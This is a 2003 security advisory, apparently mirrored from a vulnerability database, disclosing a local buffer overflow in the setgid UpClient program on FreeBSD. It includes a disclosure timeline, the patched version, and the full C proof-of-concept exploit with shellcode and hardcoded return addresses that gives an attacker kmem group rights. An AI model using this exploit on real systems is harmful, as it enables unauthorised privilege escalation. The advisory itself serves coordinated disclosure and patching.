NuxAcid#002 - Buffer Overflow in UpClient

Type securityvulns
Reporter Securityvulns
Modified 2003-05-28T00:00:00


+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= NUX-ACID ADVISORY #002

Advisory name : Local Buffer Overflow in upclient Risk : Medium (exploit grants kmem rights) Date : 27.05.2003 Application : upclient Versions Vulnerable : UpClient 5.0b7, possible others Vendor : Carsten Klapp <> \ Ryan Grove

Timeline: 23.05.03 - found vulnerability 23.05.03 - written proof of concept code 23.05.03 - informed the author(s) 25.05.03 - informed the freebsd security officers 26.05.03 - solution found 27.05.03 - public release

by Gino Thomas (alias 'dairaen'), This information is provided freely to all interested parties and may be redistributed provided that it is not altered in any way

This advisory was provided under the policy documented at +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=


Uptime Client is a little program that keeps track of your uptime and sends it to a server where you can compare it to many other hosts and browse through various statistical information.



While pentesting the FreeBSD portstree i found /usr/ports/misc/upclient vulnerable to a common buffer overflow.

on FreeBSD at least upclient is installed (default): -r-xr-sr-x 1 root kmem 28312 Mar 23 19:58 /usr/local/sbin/upclient

means, the attacker could get egid=2(kmem) groups=2(kmem) rights, which at least provide read access to the following files:

develop# find / -group kmem /dev/kmem /dev/mem /dev/perfmon /usr/bin/fstat /usr/bin/ipcs /usr/bin/netstat /usr/bin/systat /usr/bin/top /usr/bin/vmstat /usr/sbin/iostat /usr/sbin/pstat /usr/sbin/swapinfo /usr/sbin/trpt /sbin/ccdconfig

Having egid=2(kmem) groups=2(kmem) makes it easier to get root privileges.

>From 'man kmem':

"The special file /dev/mem is an interface to the physical memory of the computer. Byte offsets in this file are interpreted as physical memory addresses. Reading and writing this file is equivalent to reading and writing memory itself. Only offsets within the bounds of /dev/mem are allowed.

Kernel virtual memory is accessed through the interface /dev/kmem in the same manner as /dev/mem. Only kernel virtual addresses that are cur- rently mapped to memory are allowed."


See the exploit in action:

> id uid=1001(admin) gid=1001(admin) groups=1001(admin), 0(wheel) >./upclient_exploit $ id uid=1001(admin) gid=1001(admin) egid=2(kmem) groups=2(kmem), 1001(admin),0(wheel) $

-------------------------------upclient_exploit.c------------------------------- / *
NuxAcid - UPCLIENT Local Buffer Overflow Exploit * written on/for FreeBSD * tested against UpClient 5.0b7 on FreeBSD 4.8 * for FreeBSD 5.x the code has to be tweaked * other versions may be vulnerable too * 2003 by Gino Thomas, /

include <stdio.h>

include <stdlib.h>

include <string.h>

define BUFFERSIZE 1022

unsigned long get_sp(void) { asm("movl %esp, %eax"); }

int main(int argc, char **argv) { char buffer[BUFFERSIZE] = "";

//FreeBSD exec/setuid Shellcode static char shellcode[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

memset(buffer, 0x90 ,sizeof(buffer)); (long )&buffer[BUFFERSIZE - 4] = 0xbfbffb21; (long )&buffer[BUFFERSIZE - 8] = 0xbfbffb21; (long )&buffer[BUFFERSIZE - 16] = 0xbfbffb21; memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));

execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL); return 0; } -------------------------------upclient_exploit.c-------------------------------


The author was informed 23.05.03. He immediately started to develop a patch and has taken security very serious, always informing me about his steps and willing to improve the overall security of upclient.


upgrade to UpClient 5.0b8 at

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